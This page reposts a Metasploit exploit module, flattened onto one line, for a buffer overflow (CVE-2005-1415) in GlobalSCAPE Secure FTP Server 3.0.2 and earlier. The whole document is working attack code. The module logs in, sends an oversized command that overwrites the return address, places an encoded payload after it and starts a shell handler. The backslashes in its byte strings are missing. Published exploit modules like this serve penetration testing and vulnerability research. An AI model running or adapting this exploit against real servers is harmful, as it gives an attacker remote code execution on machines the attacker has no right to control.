Home / os / win10

globalscapeftp_input.rb.txt

Posted on 26 November 2009

## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'GlobalSCAPE Secure FTP Server Input Overflow', 'Description' => %q{ This module exploits a buffer overflow in the GlobalSCAPE Secure FTP Server. All versions prior to 3.0.3 are affected by this flaw. A valid user account ( or anonymous access) is required for this exploit to work. }, 'Author' => [ 'Fairuzan Roslan <riaf [at] mysec.org>', 'Mati Aharoni <mati [at] see-security.com>' ], 'License' => BSD_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2005-1415'], [ 'OSVDB', '16049'], [ 'BID', '13454'], [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-04/0674.html'], ], 'Privileged' => false, 'Payload' => { 'Space' => 1000, 'BadChars' => "x00x20x61x62x63x64x65x66x67x68x69" + "x6ax6bx6cx6dx6ex6fx70x71x72x73x74" + "x75x76x77x78x79x7a", 'PrependEncoder' => "xebx03x59xebx05xe8xf8xffxffxff", }, 'Targets' => [ [ 'GlobalSCAPE Secure FTP Server <= 3.0.2 Universal', { 'Platform' => 'win', 'Ret' => 0x1002f01f, }, ], ], 'DisclosureDate' => 'May 1 2005', 'DefaultTarget' => 0)) end def exploit connect_login buf = make_nops(3047) buf[2043, 4] = [ target.ret ].pack('V') buf[2047, payload.encoded.length] = payload.encoded send_cmd( [buf] ) handler disconnect end end

 

TOP